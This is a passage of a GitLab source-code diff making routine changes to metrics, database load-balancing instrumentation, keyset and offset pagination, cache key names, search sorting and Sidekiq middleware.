def broadcast(event)
@@ -31,6 +40,13 @@ module Gitlab
private
+ # When possible tries to query operation name
+ def operation_name_from(payload)
+ data = payload.dig(:data, 'result', 'data') || {}
+
+ data.each_key.first
+ end
+
def transmit_counter
strong_memoize("transmission_counter") do
::Gitlab::Metrics.counter(
@@ -66,6 +82,12 @@ module Gitlab
)
end
end
+
+ def transmitted_bytes_histogram
+ strong_memoize("transmitted_bytes_histogram") do
+ ::Gitlab::Metrics.histogram(DATA_TRANSMITTED_BYTES, 'Message size, in bytes, transmitted over action cable')
+ end
+ end
end
end
end
diff --git a/lib/gitlab/metrics/subscribers/active_record.rb b/lib/gitlab/metrics/subscribers/active_record.rb
index 9f7884e1364..a8fcad9ff9f 100644
--- a/lib/gitlab/metrics/subscribers/active_record.rb
+++ b/lib/gitlab/metrics/subscribers/active_record.rb
@@ -15,8 +15,8 @@ module Gitlab
TRANSACTION_DURATION_BUCKET = [0.1, 0.25, 1].freeze
DB_LOAD_BALANCING_COUNTERS = %i{
- db_replica_count db_replica_cached_count db_replica_wal_count
- db_primary_count db_primary_cached_count db_primary_wal_count
+ db_replica_count db_replica_cached_count db_replica_wal_count db_replica_wal_cached_count
+ db_primary_count db_primary_cached_count db_primary_wal_count db_primary_wal_cached_count
}.freeze
DB_LOAD_BALANCING_DURATIONS = %i{db_primary_duration_s db_replica_duration_s}.freeze
@@ -72,6 +72,14 @@ module Gitlab
DB_LOAD_BALANCING_DURATIONS.each do |duration|
payload[duration] = ::Gitlab::SafeRequestStore[duration].to_f.round(3)
end
+
+ if Feature.enabled?(:multiple_database_metrics, default_enabled: :yaml)
+ ::Gitlab::SafeRequestStore[:duration_by_database]&.each do |dbname, duration_by_role|
+ duration_by_role.each do |db_role, duration|
+ payload[:"db_#{db_role}_#{dbname}_duration_s"] = duration.to_f.round(3)
+ end
+ end
+ end
end
end
end
@@ -83,9 +91,14 @@ module Gitlab
end
def increment_db_role_counters(db_role, payload)
+ cached = cached_query?(payload)
increment("db_#{db_role}_count".to_sym)
- increment("db_#{db_role}_cached_count".to_sym) if cached_query?(payload)
- increment("db_#{db_role}_wal_count".to_sym) if !cached_query?(payload) && wal_command?(payload)
+ increment("db_#{db_role}_cached_count".to_sym) if cached
+
+ if wal_command?(payload)
+ increment("db_#{db_role}_wal_count".to_sym)
+ increment("db_#{db_role}_wal_cached_count".to_sym) if cached
+ end
end
def observe_db_role_duration(db_role, event)
@@ -93,9 +106,18 @@ module Gitlab
buckets ::Gitlab::Metrics::Subscribers::ActiveRecord::SQL_DURATION_BUCKET
end
+ return unless ::Gitlab::SafeRequestStore.active?
+
duration = event.duration / 1000.0
duration_key = "db_#{db_role}_duration_s".to_sym
::Gitlab::SafeRequestStore[duration_key] = (::Gitlab::SafeRequestStore[duration_key].presence || 0) + duration
+
+ # Per database metrics
+ dbname = ::Gitlab::Database.dbname(event.payload[:connection])
+ ::Gitlab::SafeRequestStore[:duration_by_database] ||= {}
+ ::Gitlab::SafeRequestStore[:duration_by_database][dbname] ||= {}
+ ::Gitlab::SafeRequestStore[:duration_by_database][dbname][db_role] ||= 0
+ ::Gitlab::SafeRequestStore[:duration_by_database][dbname][db_role] += duration
end
def ignored_query?(payload)
diff --git a/lib/gitlab/metrics/subscribers/load_balancing.rb b/lib/gitlab/metrics/subscribers/load_balancing.rb
new file mode 100644
index 00000000000..333fc63ebef
--- /dev/null
+++ b/lib/gitlab/metrics/subscribers/load_balancing.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Metrics
+ module Subscribers
+ class LoadBalancing < ActiveSupport::Subscriber
+ attach_to :load_balancing
+
+ PROMETHEUS_COUNTER = :gitlab_transaction_caught_up_replica_pick_count_total
+ LOG_COUNTERS = { true => :caught_up_replica_pick_ok, false => :caught_up_replica_pick_fail }.freeze
+
+ def caught_up_replica_pick(event)
+ return unless Gitlab::SafeRequestStore.active? && ::Gitlab::Database::LoadBalancing.enable?
+
+ result = event.payload[:result]
+ counter_name = counter(result)
+
+ increment(counter_name)
+ end
+
+ # we want to update Prometheus counter after the controller/action are set
+ def web_transaction_completed(_event)
+ return unless Gitlab::SafeRequestStore.active? && ::Gitlab::Database::LoadBalancing.enable?
+
+ LOG_COUNTERS.keys.each { |result| increment_prometheus_for_result_label(result) }
+ end
+
+ def self.load_balancing_payload
+ return {} unless Gitlab::SafeRequestStore.active? && ::Gitlab::Database::LoadBalancing.enable?
+
+ {}.tap do |payload|
+ LOG_COUNTERS.values.each do |counter|
+ value = Gitlab::SafeRequestStore[counter]
+
+ payload[counter] = value.to_i if value
+ end
+ end
+ end
+
+ private
+
+ def increment(counter)
+ Gitlab::SafeRequestStore[counter] = Gitlab::SafeRequestStore[counter].to_i + 1
+ end
+
+ def increment_prometheus_for_result_label(label_value)
+ counter_name = counter(label_value)
+ return unless (counter_value = Gitlab::SafeRequestStore[counter_name])
+
+ increment_prometheus(labels: { result: label_value }, value: counter_value.to_i)
+ end
+
+ def increment_prometheus(labels:, value:)
+ current_transaction&.increment(PROMETHEUS_COUNTER, value, labels) do
+ docstring 'Caught up replica pick result'
+ label_keys labels.keys
+ end
+ end
+
+ def counter(result)
+ LOG_COUNTERS[result]
+ end
+
+ def current_transaction
+ ::Gitlab::Metrics::WebTransaction.current
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/object_hierarchy.rb b/lib/gitlab/object_hierarchy.rb
index e6e7d97d296..2e54e8bfc1a 100644
--- a/lib/gitlab/object_hierarchy.rb
+++ b/lib/gitlab/object_hierarchy.rb
@@ -65,32 +65,9 @@ module Gitlab
# Note: By default the order is breadth-first
# rubocop: disable CodeReuse/ActiveRecord
def base_and_ancestors(upto: nil, hierarchy_order: nil)
- if use_distinct?
- expose_depth = hierarchy_order.present?
- hierarchy_order ||= :asc
-
- # if hierarchy_order is given, the calculated `depth` should be present in SELECT
- if expose_depth
- recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(unscoped_model.all).distinct
- read_only(unscoped_model.from(Arel::Nodes::As.new(recursive_query.arel, objects_table)).order(depth: hierarchy_order))
- else
- recursive_query = base_and_ancestors_cte(upto).apply_to(unscoped_model.all)
-
- if skip_ordering?
- recursive_query = recursive_query.distinct
- else
- recursive_query = recursive_query.reselect(*recursive_query.arel.projections, 'ROW_NUMBER() OVER () as depth').distinct
- recursive_query = unscoped_model.from(Arel::Nodes::As.new(recursive_query.arel, objects_table))
- recursive_query = remove_depth_and_maintain_order(recursive_query, hierarchy_order: hierarchy_order)
- end
-
- read_only(recursive_query)
- end
- else
- recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(unscoped_model.all)
- recursive_query = recursive_query.order(depth: hierarchy_order) if hierarchy_order
- read_only(recursive_query)
- end
+ recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(unscoped_model.all)
+ recursive_query = recursive_query.order(depth: hierarchy_order) if hierarchy_order
+ read_only(recursive_query)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -101,27 +78,7 @@ module Gitlab
# and incremented as we go down the descendant tree
# rubocop: disable CodeReuse/ActiveRecord
def base_and_descendants(with_depth: false)
- if use_distinct?
- # Always calculate `depth`, remove it later if with_depth is false
- if with_depth
- base_cte = base_and_descendants_cte(with_depth: true).apply_to(unscoped_model.all).distinct
- read_only(unscoped_model.from(Arel::Nodes::As.new(base_cte.arel, objects_table)).order(depth: :asc))
- else
- base_cte = base_and_descendants_cte.apply_to(unscoped_model.all)
-
- if skip_ordering?
- base_cte = base_cte.distinct
- else
- base_cte = base_cte.reselect(*base_cte.arel.projections, 'ROW_NUMBER() OVER () as depth').distinct
- base_cte = unscoped_model.from(Arel::Nodes::As.new(base_cte.arel, objects_table))
- base_cte = remove_depth_and_maintain_order(base_cte, hierarchy_order: :asc)
- end
-
- read_only(base_cte)
- end
- else
- read_only(base_and_descendants_cte(with_depth: with_depth).apply_to(unscoped_model.all))
- end
+ read_only(base_and_descendants_cte(with_depth: with_depth).apply_to(unscoped_model.all))
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -158,11 +115,6 @@ module Gitlab
ancestors_scope = unscoped_model.from(ancestors_table)
descendants_scope = unscoped_model.from(descendants_table)
- if use_distinct?
- ancestors_scope = ancestors_scope.distinct
- descendants_scope = descendants_scope.distinct
- end
-
relation = unscoped_model
.with
.recursive(ancestors.to_arel, descendants.to_arel)
@@ -177,23 +129,6 @@ module Gitlab
private
- # Use distinct on the Namespace queries to avoid bad planner behavior in PG11.
- def use_distinct?
- return unless model <= Namespace
- # Global use_distinct_for_all_object_hierarchy takes precedence over use_distinct_in_object_hierarchy
- return true if Feature.enabled?(:use_distinct_for_all_object_hierarchy)
- return options[:use_distinct] if options.key?(:use_distinct)
-
- false
- end
-
- # Skips the extra ordering when using distinct on the namespace queries
- def skip_ordering?
- return options[:skip_ordering] if options.key?(:skip_ordering)
-
- false
- end
-
# Remove the extra `depth` field using an INNER JOIN to avoid breaking UNION queries
# and ordering the rows based on the `depth` column to maintain the row order.
#
diff --git a/lib/gitlab/pagination/keyset/column_order_definition.rb b/lib/gitlab/pagination/keyset/column_order_definition.rb
index 0c8ec02a56b..0755af9587b 100644
--- a/lib/gitlab/pagination/keyset/column_order_definition.rb
+++ b/lib/gitlab/pagination/keyset/column_order_definition.rb
@@ -120,7 +120,7 @@ module Gitlab
AREL_ORDER_CLASSES = { Arel::Nodes::Ascending => :asc, Arel::Nodes::Descending => :desc }.freeze
ALLOWED_NULLABLE_VALUES = [:not_nullable, :nulls_first, :nulls_last].freeze
- attr_reader :attribute_name, :column_expression, :order_expression, :add_to_projections
+ attr_reader :attribute_name, :column_expression, :order_expression, :add_to_projections, :order_direction
def initialize(attribute_name:, order_expression:, column_expression: nil, reversed_order_expression: nil, nullable: :not_nullable, distinct: true, order_direction: nil, add_to_projections: false)
@attribute_name = attribute_name
@@ -175,7 +175,7 @@ module Gitlab
private
- attr_reader :reversed_order_expression, :nullable, :distinct, :order_direction
+ attr_reader :reversed_order_expression, :nullable, :distinct
def calculate_reversed_order(order_expression)
unless AREL_ORDER_CLASSES.has_key?(order_expression.class) # Arel can reverse simple orders
diff --git a/lib/gitlab/pagination/keyset/iterator.rb b/lib/gitlab/pagination/keyset/iterator.rb
index 3bc8c0bf616..c6f0014a0f4 100644
--- a/lib/gitlab/pagination/keyset/iterator.rb
+++ b/lib/gitlab/pagination/keyset/iterator.rb
@@ -4,8 +4,12 @@ module Gitlab
module Pagination
module Keyset
class Iterator
- def initialize(scope:, use_union_optimization: false)
- @scope = scope
+ UnsupportedScopeOrder = Class.new(StandardError)
+
+ def initialize(scope:, use_union_optimization: true)
+ @scope, success = Gitlab::Pagination::Keyset::SimpleOrderBuilder.build(scope)
+ raise(UnsupportedScopeOrder, 'The order on the scope does not support keyset pagination') unless success
+
@order = Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(scope)
@use_union_optimization = use_union_optimization
end
diff --git a/lib/gitlab/pagination/keyset/order.rb b/lib/gitlab/pagination/keyset/order.rb
index cef3a7b291a..19d44ee69dd 100644
--- a/lib/gitlab/pagination/keyset/order.rb
+++ b/lib/gitlab/pagination/keyset/order.rb
@@ -139,6 +139,8 @@ module Gitlab
verify_incoming_values!(values)
+ return use_composite_row_comparison(values) if composite_row_comparison_possible?
+
where_values = []
reversed_column_definitions = column_definitions.reverse
@@ -187,6 +189,28 @@ module Gitlab
private
+ def composite_row_comparison_possible?
+ !column_definitions.one? &&
+ column_definitions.all?(&:not_nullable?) &&
+ column_definitions.map(&:order_direction).uniq.one? # all columns uses the same order direction
+ end
+
+ # composite row comparison works with NOT NULL columns and may use only one index scan given a proper index setup
+ # Example: (created_at, id) > ('2012-09-18 01:40:01+00', 15)
+ def use_composite_row_comparison(values)
+ columns = Arel::Nodes::Grouping.new(column_definitions.map(&:column_expression))
+ values = Arel::Nodes::Grouping.new(column_definitions.map do |column_definition|
+ value = values[column_definition.attribute_name]
+ Arel::Nodes.build_quoted(value, column_definition.column_expression)
+ end)
+
+ if column_definitions.first.ascending_order?
+ [columns.gt(values)]
+ else
+ [columns.lt(values)]
+ end
+ end
+
# Adds extra columns to the SELECT clause
def apply_custom_projections(scope)
additional_projections = column_definitions.select(&:add_to_projections).map do |column_definition|
diff --git a/lib/gitlab/pagination/offset_pagination.rb b/lib/gitlab/pagination/offset_pagination.rb
index 2805b12d95d..4f8a6ffb2cc 100644
--- a/lib/gitlab/pagination/offset_pagination.rb
+++ b/lib/gitlab/pagination/offset_pagination.rb
@@ -19,11 +19,10 @@ module Gitlab
private
def paginate_with_limit_optimization(relation)
- # do not paginate relation if it is already paginated
- pagination_data = if relation.respond_to?(:current_page) && relation.current_page == params[:page] && relation.limit_value == params[:per_page]
- relation
- else
+ pagination_data = if needs_pagination?(relation)
relation.page(params[:page]).per(params[:per_page])
+ else
+ relation
end
return pagination_data unless pagination_data.is_a?(ActiveRecord::Relation)
@@ -39,6 +38,14 @@ module Gitlab
end
end
+ def needs_pagination?(relation)
+ return true unless relation.respond_to?(:current_page)
+ return true if params[:page].present? && relation.current_page != params[:page].to_i
+ return true if params[:per_page].present? && relation.limit_value != params[:per_page].to_i
+
+ false
+ end
+
def add_default_order(relation)
if relation.is_a?(ActiveRecord::Relation) && relation.order_values.empty?
relation = relation.order(:id) # rubocop: disable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/patch/global_id.rb b/lib/gitlab/patch/global_id.rb
index e99f36c7dca..145a7bfe842 100644
--- a/lib/gitlab/patch/global_id.rb
+++ b/lib/gitlab/patch/global_id.rb
@@ -4,7 +4,7 @@
# we alter GlobalID so it will correctly find the record with its new model name.
module Gitlab
module Patch
- module GlobalID
+ module GlobalId
def initialize(gid, options = {})
super
diff --git a/lib/gitlab/prometheus/adapter.rb b/lib/gitlab/prometheus/adapter.rb
index a977040ef6f..2c44e2cea4c 100644
--- a/lib/gitlab/prometheus/adapter.rb
+++ b/lib/gitlab/prometheus/adapter.rb
@@ -26,7 +26,7 @@ module Gitlab
private
def service_prometheus_adapter
- project.find_or_initialize_service('prometheus')
+ project.find_or_initialize_integration('prometheus')
end
end
end
diff --git a/lib/gitlab/push_options.rb b/lib/gitlab/push_options.rb
index ce9fced9465..9d954a74948 100644
--- a/lib/gitlab/push_options.rb
+++ b/lib/gitlab/push_options.rb
@@ -10,6 +10,7 @@ module Gitlab
:description,
:label,
:merge_when_pipeline_succeeds,
+ :milestone,
:remove_source_branch,
:target,
:title,
diff --git a/lib/gitlab/reactive_cache_set_cache.rb b/lib/gitlab/reactive_cache_set_cache.rb
index e62e1172b65..7fee1d0727f 100644
--- a/lib/gitlab/reactive_cache_set_cache.rb
+++ b/lib/gitlab/reactive_cache_set_cache.rb
@@ -10,11 +10,12 @@ module Gitlab
@expires_in = expires_in
end
- def cache_key(key)
+ # NOTE Remove as part of #331319
+ def old_cache_key(key)
"#{cache_namespace}:#{key}:set"
end
- def new_cache_key(key)
+ def cache_key(key)
super(key)
end
diff --git a/lib/gitlab/recaptcha.rb b/lib/gitlab/recaptcha.rb
index a08cea5a435..1e9f6c497c0 100644
--- a/lib/gitlab/recaptcha.rb
+++ b/lib/gitlab/recaptcha.rb
@@ -24,3 +24,6 @@ module Gitlab
end
end
end
+
+# call prepend_mod to ensure JH-specific module run even though there is no corresponding EE-specific module
+Gitlab::Recaptcha.prepend_mod
diff --git a/lib/gitlab/reference_extractor.rb b/lib/gitlab/reference_extractor.rb
index d7501fc7068..547549361be 100644
--- a/lib/gitlab/reference_extractor.rb
+++ b/lib/gitlab/reference_extractor.rb
@@ -24,8 +24,8 @@ module Gitlab
super(text, context.merge(project: project))
end
- def references(type)
- refs = super(type, project, current_user)
+ def references(type, ids_only: false)
+ refs = super(type, project, current_user, ids_only: ids_only)
@stateful_not_visible_counter += refs[:not_visible].count
refs[:visible]
@@ -41,6 +41,12 @@ module Gitlab
define_method(type.to_s.pluralize) do
@references[type] ||= references(type)
end
+
+ if %w(mentioned_user mentioned_group mentioned_project).include?(type.to_s)
+ define_method("#{type}_ids") do
+ @references[type] ||= references(type, ids_only: true)
+ end
+ end
end
def issues
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index a31f574fad2..0bd2ac180c3 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -118,15 +118,15 @@ module Gitlab
def debian_architecture_regex
# See official parser: https://git.dpkg.org/cgit/dpkg/dpkg.git/tree/lib/dpkg/arch.c?id=9e0c88ec09475f4d1addde9cdba1ad7849720356#n43
# But we limit to lower case
- @debian_architecture_regex ||= %r{\A[a-z0-9][-a-z0-9]*\z}.freeze
+ @debian_architecture_regex ||= %r{\A#{::Packages::Debian::ARCHITECTURE_REGEX}\z}.freeze
end
def debian_distribution_regex
- @debian_distribution_regex ||= %r{\A[a-z0-9][a-z0-9\.-]*\z}i.freeze
+ @debian_distribution_regex ||= %r{\A#{::Packages::Debian::DISTRIBUTION_REGEX}\z}i.freeze
end
def debian_component_regex
- @debian_component_regex ||= %r{#{debian_distribution_regex}}.freeze
+ @debian_component_regex ||= %r{\A#{::Packages::Debian::COMPONENT_REGEX}\z}.freeze
end
def helm_channel_regex
diff --git a/lib/gitlab/repo_path.rb b/lib/gitlab/repo_path.rb
index 42b94d5cf3b..a4d1adf7671 100644
--- a/lib/gitlab/repo_path.rb
+++ b/lib/gitlab/repo_path.rb
@@ -13,7 +13,6 @@ module Gitlab
# @returns [HasRepository, Project, String, String]
def self.parse(path)
repo_path = path.delete_prefix('/').delete_suffix('.git')
- redirected_path = nil
# Detect the repo type based on the path, the first one tried is the project
# type, which does not have a suffix.
@@ -26,9 +25,11 @@ module Gitlab
# Removing the suffix (.wiki, .design, ...) from the project path
full_path = repo_path.chomp(type.path_suffix)
- container, project, redirected_path = find_container(type, full_path)
+ container, project = find_container(type, full_path)
+ next unless container
- return [container, project, type, redirected_path] if container
+ redirected_path = repo_path if redirected?(container, repo_path)
+ return [container, project, type, redirected_path]
end
# When a project did not exist, the parsed repo_type would be empty.
@@ -40,32 +41,28 @@ module Gitlab
# Returns an array containing:
# - The repository container
# - The related project (if available)
- # - The original container path (if redirected)
#
# @returns [HasRepository, Project, String]
def self.find_container(type, full_path)
- return [nil, nil, nil] if full_path.blank?
+ return [nil, nil] if full_path.blank?
if type.snippet?
- snippet, redirected_path = find_snippet(full_path)
+ snippet = find_snippet(full_path)
- [snippet, snippet&.project, redirected_path]
+ [snippet, snippet&.project]
elsif type.wiki?
- wiki, redirected_path = find_wiki(full_path)
+ wiki = find_wiki(full_path)
- [wiki, wiki.try(:project), redirected_path]
+ [wiki, wiki.try(:project)]
else
- project, redirected_path = find_project(full_path)
+ project = find_project(full_path)
- [project, project, redirected_path]
+ [project, project]
end
end
def self.find_project(project_path)
- project = Project.find_by_full_path(project_path, follow_redirects: true)
- redirected_path = project_path if redirected?(project, project_path)
-
- [project, redirected_path]
+ Project.find_by_full_path(project_path, follow_redirects: true)
end
def self.redirected?(container, container_path)
@@ -77,11 +74,11 @@ module Gitlab
# - h5bp/html5-boilerplate/snippets/53
def self.find_snippet(snippet_path)
snippet_id, project_path = extract_snippet_info(snippet_path)
- return [nil, nil] unless snippet_id
+ return unless snippet_id
- project, redirected_path = find_project(project_path) if project_path
+ project = find_project(project_path) if project_path
- [Snippet.find_by_id_and_project(id: snippet_id, project: project), redirected_path]
+ Snippet.find_by_id_and_project(id: snippet_id, project: project)
end
# Wiki path can be either:
@@ -93,10 +90,9 @@ module Gitlab
# - group/subgroup
def self.find_wiki(container_path)
container = Routable.find_by_full_path(container_path, follow_redirects: true)
- redirected_path = container_path if redirected?(container, container_path)
# In CE, Group#wiki is not available so this will return nil for a group path.
- [container&.try(:wiki), redirected_path]
+ container&.try(:wiki)
end
def self.extract_snippet_info(snippet_path)
diff --git a/lib/gitlab/repository_set_cache.rb b/lib/gitlab/repository_set_cache.rb
index a20e9845fe6..7de53c4b3ff 100644
--- a/lib/gitlab/repository_set_cache.rb
+++ b/lib/gitlab/repository_set_cache.rb
@@ -13,12 +13,12 @@ module Gitlab
@expires_in = expires_in
end
- def cache_key(type)
+ # NOTE Remove as part of #331319
+ def old_cache_key(type)
"#{type}:#{namespace}:set"
end
- # NOTE Remove as part of #331319
- def new_cache_key(type)
+ def cache_key(type)
super("#{type}:#{namespace}")
end
diff --git a/lib/gitlab/search/sort_options.rb b/lib/gitlab/search/sort_options.rb
index 2ab38147462..f8e5cf727ac 100644
--- a/lib/gitlab/search/sort_options.rb
+++ b/lib/gitlab/search/sort_options.rb
@@ -15,6 +15,10 @@ module Gitlab
:updated_at_asc
when %w[updated_at desc], [nil, 'updated_desc']
:updated_at_desc
+ when %w[popularity asc], [nil, 'popularity_asc']
+ :popularity_asc
+ when %w[popularity desc], [nil, 'popularity_desc']
+ :popularity_desc
else
:unknown
end
diff --git a/lib/gitlab/search_results.rb b/lib/gitlab/search_results.rb
index 678c0b396ef..e6851af8264 100644
--- a/lib/gitlab/search_results.rb
+++ b/lib/gitlab/search_results.rb
@@ -7,6 +7,11 @@ module Gitlab
DEFAULT_PAGE = 1
DEFAULT_PER_PAGE = 20
+ SCOPE_ONLY_SORT = {
+ popularity_asc: %w[issues],
+ popularity_desc: %w[issues]
+ }.freeze
+
attr_reader :current_user, :query, :order_by, :sort, :filters
# Limit search results by passed projects
@@ -128,20 +133,29 @@ module Gitlab
end
# rubocop: disable CodeReuse/ActiveRecord
- def apply_sort(scope)
+ def apply_sort(results, scope: nil)
# Due to different uses of sort param we prefer order_by when
# present
- case ::Gitlab::Search::SortOptions.sort_and_direction(order_by, sort)
+ sort_by = ::Gitlab::Search::SortOptions.sort_and_direction(order_by, sort)
+
+ # Reset sort to default if the chosen one is not supported by scope
+ sort_by = nil if SCOPE_ONLY_SORT[sort_by] && !SCOPE_ONLY_SORT[sort_by].include?(scope)
+
+ case sort_by
when :created_at_asc
- scope.reorder('created_at ASC')
+ results.reorder('created_at ASC')
when :created_at_desc
- scope.reorder('created_at DESC')
+ results.reorder('created_at DESC')
when :updated_at_asc
- scope.reorder('updated_at ASC')
+ results.reorder('updated_at ASC')
when :updated_at_desc
- scope.reorder('updated_at DESC')
+ results.reorder('updated_at DESC')
+ when :popularity_asc
+ results.reorder('upvotes_count ASC')
+ when :popularity_desc
+ results.reorder('upvotes_count DESC')
else
- scope.reorder('created_at DESC')
+ results.reorder('created_at DESC')
end
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -157,7 +171,7 @@ module Gitlab
issues = issues.where(project_id: project_ids_relation) # rubocop: disable CodeReuse/ActiveRecord
end
- apply_sort(issues)
+ apply_sort(issues, scope: 'issues')
end
# rubocop: disable CodeReuse/ActiveRecord
@@ -177,7 +191,7 @@ module Gitlab
merge_requests = merge_requests.in_projects(project_ids_relation)
end
- apply_sort(merge_requests)
+ apply_sort(merge_requests, scope: 'merge_requests')
end
def default_scope
diff --git a/lib/gitlab/set_cache.rb b/lib/gitlab/set_cache.rb
index 30cd63e80c0..9fc7a44ec99 100644
--- a/lib/gitlab/set_cache.rb
+++ b/lib/gitlab/set_cache.rb
@@ -10,12 +10,12 @@ module Gitlab
@expires_in = expires_in
end
- def cache_key(key)
+ # NOTE Remove as part of https://gitlab.com/gitlab-org/gitlab/-/issues/331319
+ def old_cache_key(key)
"#{key}:set"
end
- # NOTE Remove as part of https://gitlab.com/gitlab-org/gitlab/-/issues/331319
- def new_cache_key(key)
+ def cache_key(key)
"#{cache_namespace}:#{key}:set"
end
@@ -25,7 +25,7 @@ module Gitlab
with do |redis|
keys_to_expire = keys.map { |key| cache_key(key) }
- keys_to_expire += keys.map { |key| new_cache_key(key) } # NOTE Remove as part of #331319
+ keys_to_expire += keys.map { |key| old_cache_key(key) } # NOTE Remove as part of #331319
Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
redis.unlink(*keys_to_expire)
diff --git a/lib/gitlab/sidekiq_config.rb b/lib/gitlab/sidekiq_config.rb
index 16a0619daf6..bd6b80530c3 100644
--- a/lib/gitlab/sidekiq_config.rb
+++ b/lib/gitlab/sidekiq_config.rb
@@ -103,6 +103,21 @@ module Gitlab
queues_for_sidekiq_queues_yml != config_queues
end
+ # Returns a hash of worker class name => mapped queue name
+ def worker_queue_mappings
+ workers
+ .reject { |worker| worker.klass.is_a?(Gitlab::SidekiqConfig::DummyWorker) }
+ .to_h { |worker| [worker.klass.to_s, ::Gitlab::SidekiqConfig::WorkerRouter.global.route(worker.klass)] }
+ end
+
+ # Like worker_queue_mappings, but only for the queues running in
+ # the current Sidekiq process
+ def current_worker_queue_mappings
+ worker_queue_mappings
+ .select { |worker, queue| Sidekiq.options[:queues].include?(queue) }
+ .to_h
+ end
+
private
def find_workers(root, ee:)
diff --git a/lib/gitlab/sidekiq_logging/structured_logger.rb b/lib/gitlab/sidekiq_logging/structured_logger.rb
index 32194c4926e..842e53b2ffb 100644
--- a/lib/gitlab/sidekiq_logging/structured_logger.rb
+++ b/lib/gitlab/sidekiq_logging/structured_logger.rb
@@ -68,7 +68,7 @@ module Gitlab
message = base_message(payload)
- payload['database_chosen'] = job[:database_chosen] if job[:database_chosen]
+ payload['load_balancing_strategy'] = job['load_balancing_strategy'] if job['load_balancing_strategy']
if job_exception
payload['message'] = "#{message}: fail: #{payload['duration_s']} sec"
diff --git a/lib/gitlab/sidekiq_middleware.rb b/lib/gitlab/sidekiq_middleware.rb
index 30741f29563..3422cb47516 100644
--- a/lib/gitlab/sidekiq_middleware.rb
+++ b/lib/gitlab/sidekiq_middleware.rb
@@ -12,7 +12,13 @@ module Gitlab
# Size limiter should be placed at the top
chain.add ::Gitlab::SidekiqMiddleware::SizeLimiter::Server
chain.add ::Gitlab::SidekiqMiddleware::Monitor
- chain.add ::Gitlab::SidekiqMiddleware::ServerMetrics if metrics
+
+ if metrics
+ chain.add ::Gitlab::SidekiqMiddleware::ServerMetrics
+
+ ::Gitlab::SidekiqMiddleware::ServerMetrics.initialize_process_metrics
+ end
+
chain.add ::Gitlab::SidekiqMiddleware::ArgumentsLogger if arguments_logger
chain.add ::Gitlab::SidekiqMiddleware::MemoryKiller if memory_killer
chain.add ::Gitlab::SidekiqMiddleware::RequestStoreMiddleware
diff --git a/lib/gitlab/sidekiq_middleware/client_metrics.rb b/lib/gitlab/sidekiq_middleware/client_metrics.rb
index 6bc08a97c07..e3cc7b28c41 100644
--- a/lib/gitlab/sidekiq_middleware/client_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/client_metrics.rb
@@ -15,6 +15,7 @@ module Gitlab
# worker_class can either be the string or class of the worker being enqueued.
worker_class = worker_class.safe_constantize if worker_class.respond_to?(:safe_constantize)
labels = create_labels(worker_class, queue, job)
+ labels[:scheduling] = job.key?('at') ? 'delayed' : 'immediate'
@metrics.fetch(ENQUEUED).increment(labels, 1)
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
index 4cf540ce3b8..c1dc616cbb2 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
@@ -133,11 +133,7 @@ module Gitlab
end
def idempotency_string
- # TODO: dump the argument's JSON using `Sidekiq.dump_json` instead
- # this should be done in the next release so all jobs are written
- # with their idempotency key.
- # see https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1090
- "#{worker_class_name}:#{arguments.join('-')}"
+ "#{worker_class_name}:#{Sidekiq.dump_json(arguments)}"
end
end
end
diff --git a/lib/gitlab/sidekiq_middleware/server_metrics.rb b/lib/gitlab/sidekiq_middleware/server_metrics.rb
index 6d130957f36..2d9767e0266 100644
--- a/lib/gitlab/sidekiq_middleware/server_metrics.rb
+++ b/lib/gitlab/sidekiq_middleware/server_metrics.rb
@@ -9,10 +9,50 @@ module Gitlab
# timeframes than the DEFAULT_BUCKET definition. Defined in seconds.
SIDEKIQ_LATENCY_BUCKETS = [0.1, 0.25, 0.5, 1, 2.5, 5, 10, 60, 300, 600].freeze
- def initialize
- @metrics = init_metrics
+ class << self
+ include ::Gitlab::SidekiqMiddleware::MetricsHelper
+
+ def metrics
+ {
+ sidekiq_jobs_cpu_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_cpu_seconds, 'Seconds of cpu time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_jobs_completion_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_completion_seconds, 'Seconds to complete Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_jobs_db_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_db_seconds, 'Seconds of database time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_jobs_gitaly_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_gitaly_seconds, 'Seconds of Gitaly time to run Sidekiq job', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_jobs_queue_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_jobs_queue_duration_seconds, 'Duration in seconds that a Sidekiq job was queued before being executed', {}, SIDEKIQ_LATENCY_BUCKETS),
+ sidekiq_redis_requests_duration_seconds: ::Gitlab::Metrics.histogram(:sidekiq_redis_requests_duration_seconds, 'Duration in seconds that a Sidekiq job spent requests a Redis server', {}, Gitlab::Instrumentation::Redis::QUERY_TIME_BUCKETS),
